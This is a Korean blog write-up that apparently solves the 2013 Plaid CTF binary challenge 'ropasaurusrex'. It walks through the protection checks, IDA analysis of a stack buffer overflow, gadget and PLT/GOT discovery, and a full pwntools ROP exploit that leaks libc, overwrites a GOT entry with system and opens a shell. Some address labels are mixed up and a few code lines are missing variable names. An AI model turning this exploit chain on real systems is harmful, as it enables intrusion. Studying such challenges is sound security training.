2013년도 Plaid CTF에 출제된 문제인 ropasaurusrex 문제 풀이입니다.

ropasaurusrex
0.00MB

일단 어떤 문제인기 파악부터 해봅시다.

 

우분투에서 checksec명령어를 이용하여 파악해보겠습니다. 

 

NX enabled! Nx bit가 활성화 되어있네요.

 

여기서 Nx bit란?

 

Never execute bit, 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU 기술입니다.

 

즉 지금까지 LOB에서 사용하던 쉘코드를 막 넣는 기법은 사용이 불가능합니다.

 

또한 , 이 문제는 ASLR 보호기법이 적용되어 출제한 문제이기 때문에 이 점을 참고하였습니다.

 

ASLR과 NX기법이 둘다 활성화 되어있기에 ROP기법을 이용하여 문제를 풀어야겠습니다.

 

이제 이 파일의 코드를 알아보기 위해 IDA에서 파일을 디 컴파일을 해보겠습니다.

 

IDA 32bit에 문제 파일을 열고 F5를 눌러 디컴파일을 할려는데..

8048343오류가 났네요?

 

이 오류부터 해결해봅시다. 

 

IDA의 메뉴줄에 있는 Options -> General... 클릭하시면

 

Stack pointer을 클릭합니다! 

 

그리고 View -> Open subviews를 클릭하여 Disassembly로 파일을 보게 되면 

 

형광펜으로 표시한 곳 처럼 -인 곳이 분명히 있을것입니다. 그럼 그 부분을 클릭하고 Alt + k를 누르면

 

요론 창이 나오는데 Curren SP value가 0x4인데 0x0이기 때문에 -0x4로 바꿔주겠습니다.

 

그러면 -04가 하나 남게 되는데 그 위의 000을 클릭하여 Current SP value값으로 바꿔주시면 됩니다.

 

그리고 F5를 누르면 디컴파일에 성공하게 됩니다.

 

메인 함수는 생각보다 간단하였습니다. 

 

서브함수 (sub_80483F4())를 호출하고 write 함수를 이용하여 "WIN\n"문자열을 출력합니다.

 

서브함수 (sub_80483F4())를 분석해보면 

 

여기서 취약점을 알 수 있습니다. 

 

read함수를 이용하여 256바이트를 입력을 받는데 buf의 크기는 136바이트이기 때문에 BOF취약점을 알 수 있습니다.

 

일단 ASLR이 걸려있기 때문에 각 함수들의 실제 주소를 구해야 합니다.

 

일단 ROP기법을 사용할 것이기 때문에 가젯을 구해볼 것 입니다.

 

우분투에 objdump -d ./ropaurusrex | grep -B3 ret을 입력해 줍니다.

 

바이너리에서 사용되는 write와 read가 모두 3개씩 요구하는 인자이기 때문에 

 

 Pop3개와 Ret가젯을 구해줘야합니다.

 

PPPR주소는 0x80484b6이네요

 

다음으로 함수호출을 하기위해 필요한 함수의 PLT주소를 구하도록 하겠습니다.

 

명령어는 objdump -d ropasaurusrex | grep read , write

 

write@plt = 0x804830c

 

read@plt = 0x804832c

 

objdump 함수들을 활용하여 PLT와 GOT 주소들을 구하면 됩니다.

 

gdb를 열어주고 info file 명령어를 이용하여 해당 바이너리의 모든 주소값을 봅시다.

 

 

그리고 메인함수가 있는 .text의 주소를 알게되었으니 bp를 걸어줍시다.

 

이제 디버깅을 진행해봅시다.

 

write@plt = 0x8049614

 

read@plt = 0x804961c

 

이제 쉘코드를 읽을 수 있는 바이너리를 찾아봅시다, 공간이 충분해보이는 .bss을 선택하겠습니다.

bss_addr = 08049628

 

익스 코드를 짜기 위한 요소들을 모두 구하였으니 파이썬으로 익스코드를 짜보겠습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import time
  
= process("./ropasaurusrex")
= ELF("./ropasaurusrex")
 
write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
bss_addr = e.bss()
binsh = "/bin/sh\x00"
pppr = 0x080484B6
system_offset = 0xa8910
 
payload = ''
payload += 'A' * (0x8c)
 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss_addr)
 
 
p.sendline(payload)
read_addr = u32(p.recv(4))
print hex(read_addr)
 
system_addr = read_addr - system_offset
 
p.sendline("/bin/sh")
p.sendline(p32(system_addr))
 
p.interactive()

exploit!!!!!!!!!!!!!!!!!!!!!

반응형
복사했습니다!